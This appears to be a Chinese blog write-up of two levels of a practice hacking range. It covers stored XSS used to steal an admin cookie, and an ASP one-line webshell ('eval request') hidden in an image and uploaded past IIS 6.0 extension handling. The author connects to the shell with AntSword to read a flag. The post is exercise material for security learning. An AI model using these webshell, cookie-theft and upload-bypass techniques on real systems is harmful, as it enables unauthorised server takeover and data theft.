# 封神台-尤里的复仇 I

# 原创

hana-u ● 于 2021-02-20 11:48:39 发布 ● 209 ☆ 收藏 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/weixin\_44522540/article/details/113833000</u> 版权

靶场链接: https://hack.zkaq.cn/

### 文章目录

#### 前言

四、为了更多的权限! 留言板!

- 五、进击! 拿到Web最高权限!
- 总结

### 前言

本来打算把尤里的复仇都做了,做到六就卡住了,不想做了,以后做了再写上来

第一章是简单的sql注入。第二章我的ModHeader似乎不起作用。。也没有做出来

### 四、为了更多的权限! 留言板!

传送门: http://59.63.200.79:8004/Feedback.asp

#### Tips:

- 1、存储型Xss
- 2、flag在cookie里,格式为zkz{...},xss bot 每10秒访问一次页面
- 3、自建Xss平台源码: http://www.zkaq.org/?t/99.html

经过一番操作,尤里虽然进入到后台,窃窃自喜的他不满足于此,作为黑阔他要挑战曾经的自己,他要攻克之前失手的网站! 他重新浏览之前的网站,这时他突然发现了一个留言板功能。而留言板管理员是每天都会去查阅的。 尤里开始动手......

打开网站,从tips可以知道留言板功能存在存储型XSS,在留言板的各个输入框都输入以下代码进行测试

<script>alert("XSS")</script>



## 项目名称: xss

Domain: 全部 ✔ ← ← → 此处可选择需要查看的域名

+全部	时间	接收的内容	Request Headers	操作
-折叠	2021-02-17 12:22:21	<ul> <li>location : http://59.63.200.7 9:8004/FeedbackView.asp</li> <li>toplocation : http://59.63.20 0.79:8004/FeedbackView.as p</li> <li>cookie : ASPSESSIONIDSQ ATTCBS=OMIAMLACJBCN NILMMOCALNNP flag=zkz</li> <li>{xsser-g00d}, ADMINSESSIO NIDCSTRCSDQ=LBMLMBC CNPFINOANFGLPCFBC</li> <li>opener :</li> </ul>	<ul> <li>HTTP_REFERER : http://59. 63.200.79:8004/FeedbackVi ew.asp</li> <li>HTTP_USER_AGENT : Moz illa/5.0 (Windows NT 6.1; W OW64) AppleWebKit/534.34 (KHTML, like Gecko) Phanto mJS/1.9.7 Safari/534.34</li> <li>REMOTE_ADDR : 59.63.20 0.79</li> <li>IP-ADDR :</li> </ul>	删除
+展开	2021-02-17 12:22:18	• location : http://59.63.200.7	HTTP_REFERER : http://59.	删除
		1 共1页		

发现flag,提交

为zkz( }次而	共主计学	
://www.zkaq.org/?t/99.html	· · · · · · · · · · · · · · · · · · ·	×
· 。 台,窃窃自喜的他不满足于此,作为 ************************************	🔗 Flag正确	₹手的网站!
		确定
		https://blog.csdn.net/weixin_445225

### 五、进击! 拿到Web最高权限!

传送门: http://59.63.200.79:8005/admin/default.asp

Tips:

- 1、通过修改Cookie登录后台(没用重打)
- 2、上传SHELL!
- 3、Flag在web根目录(flag.php)
- 4、上传图片时建议上传小文件,我建议用QQ表情

尤里通过XSS终于得到了管理员Cookie,在修改了cookie后尤里直接绕过了登录密码,看到了后台功能! 接下来要做的,就是找一个上传点,上传自己的shell了!

1、在XSS平台拿到第四关的cookie,删去flag=zkz{...},修改cookie,点击"准备好了吗"或者刷新进入后台

🖬 心田 🚻 日度	<u>v</u> 7	子之 📑 工具 📑 毗切	📑 共化 📑 UIF 📑 権	雨洞 📑 修理											
					<u>ش</u>	小网站管	理系统								
@ 管理后台	$\otimes$					管理快捷方言	式								
回到首页   退出	*	快捷功能链接	管理员管理												
<b>佐管</b> 理	۲														
业信息	۲					亥佐信自									
品管理	۲	用户名: admin				IP: 11	7. 173. 198.	140							
价管理	۲	身份过期: 30 分钟				现在时间	]: 2021年2	2月17日19:	3						
载中心	۲	上线次数: 549	上线次数: 549			上线时间	]: 2018-3-	-30 18:27:	:39						
闻管理	<b>S</b>	服务器域名: 59.63.20	服务器域名: 59.63.200.79 / 59.63.200.79:8005			脚本解彩	脚本解释引擎: VBScript/5.6.8832								
言管理	*	服务器软件的名称: Mi	crosoft-IIS/6.0			浏览器版 11kg Co	浏览器版本: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,								
例管理	8	FSO文本读写: √				数据库例	E用: √	18/ 00. 0. 42	40.165 Bai	ai 17 557	. 30				
才管理	*	Jmail组件支持: ×	Jmail组件支持: × CDONTS组件支持: ×												
情链接															
eb Information	<b>、</b> 幕														
	Ę)														
Elements	Consol	e Sources Network	Performance Memory A	Application Secu	rity	Lighthous	se						❷ 4	<del>.</del>	:
-		C Filter			S ×	Only:	show cookie	s with an is	sue						
Manifest		Name	Value				Domain	Path	Expires	Size	HttpC	only Secure	SameSite	Prior	rity
Service Workers		ASPSESSIONIDSQATTCBS	CAJAMLACLGELCH	HEMJEMHPFAB			59.63.20	1	Session		44	https://blo	g.csdn.net/we	Med	litin

### 2、寻找上传点

在产品管理-添加产品中可以上传文件:

	☑ 代码 □ 设计   ② 文本   ⑤ 预览	4 <b>-</b>
产品图片:	选择文件未选择任何文件	上传
已通过审核:	☑ 是 (如果选中的话将直接发布)	
首页显示:	☑ 是 (如果选中的话将在首页显示)	
首页新品显 示:	✓ 是 (如果选中的话将在首页显示为新品展示) https://blog.osdn.nei/we	

- 3、上传asp一句话图片木马
  - 如何制作asp图片木马:
    - (1) 找一张图片, 名字改成1.jpg
    - (2) <%eval request("pass")%>存为1.asp 其中request为函数, pass是密码
    - (3) copy 1.jpg /b + 1.asp /a asp.jpg 存为1.bat文件(当前文件夹下cmd)

复制当前目录下的1.jpg图片和当前目录下的1.asp文件并以ASCII代码的方式合并为 asp.jpg图片,运行1.bat,就会出现一个图片 asp.jpg,现在这个asp.jpg就是已经做好的木马了。



(本来是asp.jpg,后面连接蚁剑有IIS解析漏洞,所以改成了.cer)

	🐶 代码 🔄 设计 🖉 文本 🌑 预览	4 <b>-</b>
<b>†</b> :	UploadFiles/202121719148342.jpg 文件上传成功! 文件大小为: 19K	
亥:	✓ 是 (如果选中的话将直接发布)	
	✔ 是 (如果选中的话将在首页显示)	
显 示:	✓ 是 (如果选中的话将在首页显示为新品展示) https://bloc.csdn.net/weixi	n 44522540
_	2024 2 47 40.04.45	

- 上传成功
- 4、蚁剑连接

Add shell	>
O Add 🗙 C	lear
Shell url *	http://59.63.200.79:8005/UploadFiles/2021
Shell pwd *	pass
Encode	UTF8
Shell type	PHP
	Encoder
	<ul> <li>● default</li> </ul>
	⊖ chr
	O base64

### 405错误,IIS/6.0

- IIS解析漏洞
  - 目录解析 以\*.asp命名的文件夹里的文件都将会被当成ASP文件执行。

- 文件解析 对于 \*.asp;.jpg 像这种畸形文件名在";"后面的直接被忽略,也就是说当成 \*.asp文件执行。
- IIS6.0 默认的可执行文件除了asp还包含这三种 \*.asa \*.cer \*.cdx

:					
ell Lists (1)					
	IP	ADDR	CTIME	UTIME	
/59.63.200.79:8005/UploadF	59.63.200.79	江西省南昌市 电信	2021/02/17 19:21:56	2021/02,	

ed":false,"flowing":true,"highWater Mark":16384,"length":0,"needRead able":true,"objectMode":false,"pipes ":null,"pipesCount":0,"ranOut":false ,"readableListening":false,"reading" :true,"readingMore":false,"resumeS cheduled":false,"sync":false},"\_soc kname":null,"\_writableState": {"bufferProcessing":false,"buffered Request":null,"corked":0,"decodeStr ings":false,"defaultEncoding":"utf8" ,"ended":true,"ending":true,"errorE mitted":false,"finished":true,"highW aterMark":16384,"lastBufferedRequ est":null,"length":0,"needDrain":fals e,"objectMode":false,"pendingcb":0 ,"prefinished":true,"sync":false,"wri tecb":null,"writelen":0,"writing":fal se},"allowHalfOpen":false,"bytesRe ad":1479,"destroyed":true,"domain" ad":14/9,"destroyed":true,"domain" :null,"parser":null,"readable":false," writable":false},"statusCode":405,"s tatusMessage":"Method Not Allowed","trailers": {},"upgrade":false,"url":""},"server Error":false,"status":405,"statusCod

Error":false,"status":405,"statusCod e":405,"statusType":4,"type":"text/h tml","unauthorized":false},"status": 405}

https://weixin\_4452254

将图片木马后缀改为.cer再次上传

🖸 代码 🔄 设计 🖉 文本	本 🜍 预览	¢ =
UploadFiles/202121719235027	5.cer 文件上传成功! 文件	大小为: 19K
☑ 是 (如果选中的话将直接发布)		
✓ 是 (如果选中的话将在首页显示	;)	
✔ 是 (如果选中的话将在首页显示	为新品展示)	
2021-2-17 19:23:43 当前	时间为: 2021-2-17 注意不要改变	<b>格式</b>

500错误,检查了一下shell type是php没有改成asp,重新选择后连接成功

🗅 Folders (11) <	🗅 Files (188)		
C:/	O New - ↑ UP 2 Refresh & Home ■ Bookmark	• D:/05/	
□ D:/	Name	Time	Size
UploadFiles	🚯 CompVisualizeBig.asp	2019-04-10 15:58:08	5.84 Kb
- 06	🕅 Download.asp	2019-04-10 15:58:08	3.86 Kb

Databases	ŝ	DownloadShow.asp	2019-04-10 15:58:08	7.19 Kb
- Images	ŝ	Edit.css	2010-04-16 17:39:00	2.17 Kb
Img	Ø	Editor.asp	2013-04-07 18:15:00	58.2 Kb
- Menu	J.	Error ASP	2013-04-07 18:15:00	3.24 Kb
admin	Ē	FLAG!.txt	2018-03-30 19:26:00	24 b
- 🖿 flash	<Þ	Feedback.asp	2019-04-10 15:58:08	9.43 Kb
imgbly	Φ	FeedbackMember.asp	2013-04-07 18:15:00	10.13 Kb
imgbyw	Φ	FeedbackSave.asp	2013-04-07 18:15:00	2.23 Kb
- 🖿 E:/	ŝ	FeedbackView.asp	2019-04-10 15:58:08	9.04 Kb
		Foot.asp	2013-04-07 18:15:00	1.1 Kb

### 找到flag.txt文件,打开得到flag

¢.		□ 59.63.200.79 ⊗
	Ed	it: D:/05/FLAG!.txt
	🖺 Sa	ve
	1	zkz{G3t_the_admin!Sh3ll}

### 六七八九

## 总结

还要再加强,知识太匮乏了